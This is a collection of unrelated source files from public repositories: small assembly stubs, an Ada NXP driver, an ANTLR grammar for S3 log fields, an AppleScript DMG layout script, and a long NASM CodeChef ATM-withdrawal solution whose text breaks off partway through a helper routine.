<reponame>lcsamaro/minilua section .data tag_cfunction: equ 0xfffd tag_lfunction: equ 0xfffd ; TODO section .text extern lua_error extern lua_gc_impl global ml_indirect_call global ml_indirect_luacall global ml_get_rsp global lua_gc ; rcx - boxed c function ml_indirect_call: ; get tag mov rax, rcx shr rax, 48 ; check tag cmp ax, tag_cfunction jne .maybe_lfunction ; clear high 16 bits mov rax, 0xffffffffffff and rcx, rax ; set args mov rdx, rsp add rdx, 8 ; call function jmp rcx .maybe_lfunction: ; check tag cmp ax, tag_lfunction jne lua_error ; invalid object type ; clear high 16 bits mov rax, 0xffffffffffff and rcx, rax ; add nil params - by checking function header no. parameters ; call function jmp rcx ml_indirect_luacall: ret ; arithmetic guards ; misc ml_get_rsp: mov rax, rsp ret lua_gc: push rbx ; alignment push rbx push rbp push r12 push r13 push r14 push r15 call lua_gc_impl pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rbx ; alignment ret ; inlined ml_fix_arity_begin: ml_fix_arity_end:
arch/ARM/NXP/drivers/nxp-inputmux.adb
morbos/Ada_Drivers_Library
2
9941
<reponame>morbos/Ada_Drivers_Library with HAL; use HAL; with NXP.Device; use NXP.Device; with NXP_SVD; use NXP_SVD; with NXP_SVD.SYSCON; use NXP_SVD.SYSCON; with NXP_SVD.INPUTMUX; use NXP_SVD.INPUTMUX; with System; use System; package body NXP.InputMux is procedure Enable_InputMux is begin SYSCON_Periph.AHBCLKCTRL0.MUX := Enable; end Enable_InputMux; procedure Disable_InputMux is begin SYSCON_Periph.AHBCLKCTRL0.MUX := Disable; end Disable_InputMux; end NXP.InputMux;
src/main/antlr4/S3Tokens.g4
pedivo/jsalparser
0
2685
grammar S3Tokens; value returns [String val] : SimpleValue {$val = $SimpleValue.text;} | DateValue { $val = $DateValue.text; $val = $val.substring(1, $val.length()-1); } | QuotedValue { $val = $QuotedValue.text; $val = $val.substring(1, $val.length()-1); $val = $val.replace("\\\"", "\""); // unescape the quotes } | DoubleQuotedValue { $val = $DoubleQuotedValue.text; $val = $val.substring(2, $val.length()-2); $val = $val.replace("\\\"\\\"", "\"\""); // unescape the quotes } ; NoValue : '-' ; SimpleValue : ALLOWED_CHAR+ ; DateValue : '[' (ALLOWED_CHAR | DELIM)* ']' ; QuotedValue : '"' (ESCAPED_QUOTE | DELIM | ALLOWED_CHAR)* '"' ; DoubleQuotedValue : '""' (ESCAPED_QUOTE | DELIM | ALLOWED_CHAR)* '""' ; LINEBREAK : '\r'? '\n' | '\r' ; DELIM : ' ' ; ESCAPED_QUOTE : '\\' '"' ; ALLOWED_CHAR : ~(' ' | '\t' | '\r' | '\n' | '"') ;
org.alloytools.alloy.dist/package/macosx/Alloy-dmg-setup.scpt
Kaixi26/org.alloytools.alloy
527
2310
<reponame>Kaixi26/org.alloytools.alloy tell application "Finder" tell disk "Alloy" open set current view of container window to icon view set toolbar visible of container window to false set statusbar visible of container window to false -- size of window should match size of background set the bounds of container window to {400, 100, 917, 370} set theViewOptions to the icon view options of container window set arrangement of theViewOptions to not arranged set icon size of theViewOptions to 128 set background picture of theViewOptions to file ".background:background.png" -- Create alias for install location make new alias file at container window to POSIX file "/Applications" with properties {name:"Applications"} -- First, move all files far enough to be not visible if user has "show hidden files" option set -- Note: this only make sense if "hidden" files are also visible on the build system -- otherwise command below will only return list of non-hidden items set filesToHide to the name of every item of container window repeat with theFile in filesToHide set position of item theFile of container window to {1000, 0} end repeat -- Now position application and install location set position of item "Alloy" of container window to {120, 135} set position of item "Applications" of container window to {390, 135} close open update without registering applications delay 5 end tell end tell
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sccz80/tshr_pxy2saddr.asm
Frodevan/z88dk
640
165698
; void *tshr_pxy2saddr(uint x, uchar y) SECTION code_clib SECTION code_arch PUBLIC tshr_pxy2saddr EXTERN asm_tshr_pxy2saddr tshr_pxy2saddr: pop af pop hl pop bc push bc push hl push af jp asm_tshr_pxy2saddr ; SDCC bridge for Classic IF __CLASSIC PUBLIC _tshr_pxy2saddr defc _tshr_pxy2saddr = tshr_pxy2saddr ENDIF
example/codechef/practice/easy/HS08TEST/submit/submit.asm
nikAizuddin/lib80386
4
176407
; 1 2 3 4 5 6 7 ;234567890123456789012345678901234567890123456789012345678901234567890 ;===================================================================== ; ; ATM ; HS08TEST ; ;--------------------------------------------------------------------- ; ; AUTHOR: <NAME> <NAME> ; DATE CREATED: 23-JAN-2015 ; ; LANGUAGE: x86 Assembly Language ; SYNTAX: Intel ; ASSEMBLER: NASM ; ARCHITECTURE: i386 ; KERNEL: Linux 32-bit ; FORMAT: elf32 ; ; INCLUDED FILES: read4096b_stdin.asm, ; string_append.asm, ; cvt_string2double.asm, ; cvt_string2int.asm, ; cvt_string2dec.asm, ; cvt_dec2hex.asm, ; cvt_hex2dec.asm, ; cvt_dec2string.asm, ; cvt_int2string.asm, ; cvt_double2string.asm, ; find_int_digits.asm, ; pow_int.asm ; ; HOW TO RUN: $ nasm submit.asm -o submit.o -felf32 ; $ ld submit.o -o exe -melf_i386 ; $ ./exe ; ;===================================================================== global _start section .bss rb: resd 1025 rb_ptr: resd 1 rb_byte_pos: resd 1 withdraw_str: resd 2 withdraw_strlen: resd 1 withdraw_int: resd 1 balance_str: resd 2 balance_strlen: resd 1 balance_double: resq 1 section .data newline: dd 0x0000000a charge: dq 0.50 section .text _start: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get withdraw value ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: withdraw_str = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax mov [withdraw_str], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: read4096b_stdin( @rb, ; @rb_ptr, ; @rb_byte_pos, ; @withdraw_str, ; @withdraw_strlen, ; 0 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 24 ;reserve 24 bytes lea eax, [rb] lea ebx, [rb_ptr] lea ecx, [rb_byte_pos] lea edx, [withdraw_str] lea esi, [withdraw_strlen] xor edi, edi mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 mov [esp + 8], ecx ;parameter 3 mov [esp + 12], edx ;parameter 4 mov [esp + 16], esi ;parameter 5 mov [esp + 20], edi ;parameter 6 call read4096b_stdin add esp, 24 ;restore 24 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: withdraw_int = cvt_string2int( @withdraw_str, ; withdraw_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes lea eax, [withdraw_str] mov ebx, [withdraw_strlen] mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call cvt_string2int add esp, 8 ;restore 8 bytes mov [withdraw_int], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get balance value ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: balance_str = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax mov [balance_str], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: read4096b_stdin( @rb, ; @rb_ptr, ; @rb_byte_pos, ; @balance_str, ; @balance_strlen, ; 0 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 24 ;reserve 24 bytes lea eax, [rb] lea ebx, [rb_ptr] lea ecx, [rb_byte_pos] lea edx, [balance_str] lea esi, [balance_strlen] xor edi, edi mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 mov [esp + 8], ecx ;parameter 3 mov [esp + 12], edx ;parameter 4 mov [esp + 16], esi ;parameter 5 mov [esp + 20], edi ;parameter 6 call read4096b_stdin add esp, 24 ;restore 24 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: balance_double = cvt_string2double( @balance_str, ; balance_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes lea eax, [balance_str] mov ebx, [balance_strlen] mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call cvt_string2double add esp, 8 ;restore 8 bytes fst qword [balance_double] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Is withdraw_int a multiple of 5 ? ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: withdraw_int / 5; ; 008: if EDX == 0, goto .withdraw_is_mult_5; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [withdraw_int] mov ebx, 5 xor edx, edx div ebx cmp edx, 0 je .withdraw_is_mult_5 .withdraw_is_not_mult_5: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: goto .exit; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .exit .withdraw_is_mult_5: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Is balance_double sufficient ? ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 010: FINIT; ; 011: FLD balance_double; ; 012: FSUB charge; ; 013: FILD withdraw_int; ; 014: FCOMI ST0, ST1; ; 015: if withdraw_int <= balance_double, goto .bal_sufficient; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - finit fld qword [balance_double] fsub qword [charge] fild dword [withdraw_int] fcomi st0, st1 jbe .bal_sufficient .bal_not_sufficient: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: goto .exit; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .exit .bal_sufficient: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Perform withdraw transaction ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 017: FXCH ST0, ST1; ; 018: FSUB ST1; ; 019: FST balance_double; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fxch st0, st1 fsub st1 fst qword [balance_double] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Convert balance_double to balance_str ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 020: balance_str = 0; ; 021: balance_strlen = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax mov [balance_str ], eax mov [balance_str+4], eax mov [balance_strlen], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 022: cvt_double2string( balance_double, ; 100, ; @balance_str, ; @balance_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 20 ;reserve 20 bytes mov eax, [balance_double ] mov ebx, [balance_double+4] mov ecx, 100 lea edx, [balance_str] lea esi, [balance_strlen] mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 1 mov [esp + 8], ecx ;parameter 2 mov [esp + 12], edx ;parameter 3 mov [esp + 16], esi ;parameter 4 call cvt_double2string add esp, 20 ;restore 20 bytes .exit: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Append newline character to balance_str, ; and print the balance_str to stdout. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 023: string_append( @balance_str, ; @balance_strlen, ; @newline, ; 1 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes lea eax, [balance_str] lea ebx, [balance_strlen] lea ecx, [newline] mov edx, 1 mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 mov [esp + 8], ecx ;parameter 3 mov [esp + 12], edx ;parameter 4 call string_append add esp, 16 ;restore 16 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: write( stdout, @balance_str, balance_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 0x04 ;systemcall write mov ebx, 0x01 ;fd = stdout lea ecx, [balance_str] ;src = balance_str mov edx, [balance_strlen] ;strlen = balance_strlen int 0x80 mov eax, 0x01 ;systemcall exit xor ebx, ebx ;return 0 int 0x80 ;##################################################################### cvt_dec2hex: ;parameter 1 = decimal_number:32bit ;returns = the hexadecimal number (EAX) .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to ebp, to get arguments mov eax, [ebp ] ;get decimal_number .setup_localvariables: sub esp, 36 ;reserve 36 bytes mov [esp ], eax ;decimal_number mov dword [esp + 4], 0 ;A mov dword [esp + 8], 0 ;B mov dword [esp + 12], 0 ;C mov dword [esp + 16], 0 ;D mov dword [esp + 20], 0 ;E mov dword [esp + 24], 0 ;F mov dword [esp + 28], 0 ;G mov dword [esp + 32], 0 ;H ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: A = decimal_number >> 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 4 mov [esp + 4], eax ;A = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: B = (decimal_number >> 8) * 0xa; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 8 mov ebx, 0xa xor edx, edx mul ebx mov [esp + 8], eax ;B = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: C = (decimal_number >> 12) * 0x64; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 12 mov ebx, 0x64 xor edx, edx mul ebx mov [esp + 12], eax ;C = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: D = (decimal_number >> 16) * 0x3e8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 16 mov ebx, 0x3e8 xor edx, edx mul ebx mov [esp + 16], eax ;D = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: E = (decimal_number >> 20) * 0x2710; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 20 mov ebx, 0x2710 xor edx, edx mul ebx mov [esp + 20], eax ;E = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: F = (decimal_number >> 24) * 0x186a0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 24 mov ebx, 0x186a0 xor edx, edx mul ebx mov [esp + 24], eax ;F = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: G = (decimal_number >> 28) * 0xf4240; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number shr eax, 28 mov ebx, 0xf4240 xor edx, edx mul ebx mov [esp + 28], eax ;G = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: H = 0x6 * (A + B + C + D + E + F + G); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = A mov ebx, [esp + 8] ;ebx = B mov ecx, [esp + 12] ;ecx = C mov edx, [esp + 16] ;edx = D mov esi, [esp + 20] ;esi = E mov edi, [esp + 24] ;edi = F add eax, ebx add eax, ecx add eax, edx add eax, esi add eax, edi mov ebx, 0x6 mov ecx, [esp + 28] ;ecx = G xor edx, edx add eax, ecx mul ebx mov [esp + 32], eax ;H = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: EAX = decimal_number - H; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = decimal_number mov ebx, [esp + 32] ;ebx = H sub eax, ebx .return: .clean_stackframe: sub ebp, 8 ;-8 offset to ebp mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_dec2string: ;parameter 1 = addr_decimal_x:32bit ;parameter 2 = num_of_blocks:32bit ;parameter 3 = addr_out_string:32bit ;parameter 4 = addr_out_strlen:32bit ;returns = --- .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to ebp, to get arguments mov eax, [ebp ] ;get addr_decimal_x mov ebx, [ebp + 4] ;get num_of_blocks mov ecx, [ebp + 8] ;get addr_out_string mov edx, [ebp + 12] ;get addr_out_strlen .setup_localvariables: sub esp, 52 ;reserve 52 bytes mov [esp ], eax ;decimal_x_ptr mov [esp + 4], ebx ;num_of_blocks mov [esp + 8], ecx ;addr_out_string mov [esp + 12], edx ;addr_out_strlen mov dword [esp + 16], 0 ;out_strlen mov dword [esp + 20], 0 ;decimal_y[0] mov dword [esp + 24], 0 ;decimal_y[1] mov dword [esp + 28], 0 ;decimal_y[0]_len mov dword [esp + 32], 0 ;decimal_y[1]_len mov dword [esp + 36], 0 ;temp mov dword [esp + 40], 0 ;i mov dword [esp + 44], 0 ;ascii_char mov dword [esp + 48], 0 ;byte_pos ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check the number of decimal_x memory blocks. ; ; If there are 2 memory blocks, that means decimal_x has ; an integer value that more than 8 digits, such as 9 or 10 ; digits. ; ; 001: if num_of_blocks == 2, goto .skip_decimal_x_1_block; ; .goto_decimal_x_1_block: ; 002: goto .decimal_x_1_block; ; .skip_decimal_x_1_block: ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = num_of_blocks cmp eax, 2 je .skip_decimal_x_1_block .goto_decimal_x_1_block: jmp .decimal_x_1_block .skip_decimal_x_1_block: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If the decimal_x has 2 memory blocks. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .decimal_x_2_blocks: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: decimal_y[0] = addr_decimal_x^ ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp] ;eax = addr_decimal_x mov eax, [eax] ;eax = addr_decimal_x^ mov [esp + 20], eax ;decimal_y[0] = addr_decimal_x^ ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: decimal_y[1] = (addr_decimal_x+4)^ ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp] ;eax = addr_decimal_x add eax, 4 mov eax, [eax] ;eax = (addr_decimal_x+4)^ mov [esp + 24], eax ;decimal_y[1] = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: decimal_y[0]_len = 8 ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 8 mov [esp + 28], eax ;decimal_y[0]_len = 8 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .LOOP_1: Find the number of nibbles in decimal_y[1]. ; The decimal_y[1]_len itself stores the number of ; nibbles from decimal_y[1]. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initialize counter for .loop_1 ; ; 006: temp = decimal_y[1] ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 24] ;eax = decimal_y[1] mov [esp + 36], eax ;temp = eax .loop_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: temp >>= 4 ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = temp shr eax, 4 mov [esp + 36], eax ;temp = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: ++ decimal_y[1]_len ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = decimal_y[1]_len add eax, 1 mov [esp + 32], eax ;decimal_y[1]_len = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: if temp != 0, then ; goto .loop_1 ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = temp cmp eax, 0 jne .loop_1 .endloop_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .LOOP_2: Convert decimal_y[1] to ASCII string, ; and stores to output string. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initialize counter for .loop_2 ; ; 010: i = decimal_y[1]_len ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = decimal_y[1]_len mov [esp + 40], eax ;i = decimal_y[1]_len .loop_2: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: ascii_char = ((decimal_y[1] >> ( (i-1)*4 )) & 0x0f) | 0x30; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i sub eax, 1 mov ebx, 4 xor edx, edx mul ebx ;eax *= ebx mov ecx, eax mov eax, [esp + 24] ;eax = decimal_y[1] shr eax, cl ;decimal_y[1] >>= ((i-1)*4) and eax, 0x0f or eax, 0x30 mov [esp + 44], eax ;ascii_char = result ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 012: addr_out_string^ |= ( ascii_char << (byte_pos*8) ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos mov ebx, 8 xor edx, edx mul ebx ;eax *= ebx mov ecx, eax mov eax, [esp + 44] ;eax = ascii_char shl eax, cl ;eax <<= (byte_pos*8) mov ecx, [esp + 8] ;ecx = addr_out_string mov ebx, [ecx] ;ebx = addr_out_string^ or eax, ebx ;addr_out_string^ |= result mov [ecx], eax ;save result to addr_out_string^ ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 013: ++ out_strlen ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = out_strlen add eax, 1 mov [esp + 16], eax ;out_strlen = out_strlen + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 014: ++ byte_pos ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos add eax, 1 mov [esp + 48], eax ;byte_pos = byte_pox + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 015: -- i ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i sub eax, 1 mov [esp + 40], eax ;i = i - 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: if i != 0, then ; goto .loop_2; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i cmp eax, 0 jne .loop_2 .endloop_2: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .LOOP_3: Convert decimal_y[0] to ASCII string, ; and append to output string. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initialize counter for .loop_3 ; ; 017: i = decimal_y[0]_len ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 28] ;eax = decimal_y[0]_len mov [esp + 40], eax ;i = decimal_y[0]_len .loop_3: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: ascii_char = ((decimal_y[0] >> ( (i-1)*4) ) & 0x0f) | 0x30; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i sub eax, 1 mov ebx, 4 xor edx, edx mul ebx ;eax *= 4 mov ecx, eax ;ecx = ((i-1)*4) mov eax, [esp + 20] ;eax = decimal_y[0] shr eax, cl ;eax >>= ((i-1)*4) and eax, 0x0f or eax, 0x30 mov [esp + 44], eax ;ascii_char = result ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: addr_out_string^ |= ( ascii_char << (byte_pos*8) ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos mov ebx, 8 xor edx, edx mul ebx ;byte_pos *= 8 mov ecx, eax ;ecx = (byte_pos*8) mov eax, [esp + 44] ;eax = ascii_char shl eax, cl ;eax <<= (byte_pos*8) mov ecx, [esp + 8] ;ecx = addr_out_string mov ebx, [ecx] ;ebx = addr_out_string^ or eax, ebx ;addr_out_string^ |= result mov [ecx], eax ;save result to addr_out_string^ ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 020: ++ out_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = out_strlen add eax, 1 mov [esp + 16], eax ;out_strlen = out_strlen + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 021: ++ byte_pos ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos add eax, 1 mov [esp + 48], eax ;byte_pos = byte_pos + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check if output string memory block is full. ; ; TRUE = The output string memory block is not yet full. ; FALSE = The output string memory block is full. ; ; If the output string memory block is full, point the ; addr_out_string to the next memory block of output string, ; and reset the byte position to 0. ; ; 022: if byte_pos != 4, then ; goto .cond1_out_string_not_full; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos cmp eax, 4 jne .cond1_out_string_not_full .cond1_out_string_full: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 023: addr_out_string += 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = addr_out_string add eax, 4 mov [esp + 8], eax ;addr_out_string = (eax + 4) ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: byte_pos = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax mov [esp + 48], eax ;byte_pos = eax .cond1_out_string_not_full: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 025: -- i; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i sub eax, 1 mov [esp + 40], eax ;i = i + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 026: if i != 0, then ; goto .loop_3; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i cmp eax, 0 jne .loop_3 .endloop_3: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Skip .decimal_x_1_block. ; ; 027: goto .save_out_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .save_out_strlen ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If the decimal_x has only 1 memory block. ; Means, the decimal_x's value is less than 8 digits. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .decimal_x_1_block: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 028: decimal_y[0] = addr_out_string^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = addr_out_string mov eax, [eax] ;eax = addr_out_string^ mov [esp + 20], eax ;decimal_x_b0 = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .LOOP_4: Find the number of nibbles in decimal_y[0]. ; The decimal_y[0]_len itself stores the number ; of nibbles from decimal_y[0]. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initialize counter for .loop_4 ; ; 029: temp = decimal_y[0]; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = decimal_y[0] mov [esp + 36], eax ;temp = eax .loop_4: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 030: temp >>= 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = temp shr eax, 4 mov [esp + 36], eax ;temp = temp >> 4 ; - - - - - - - - - - 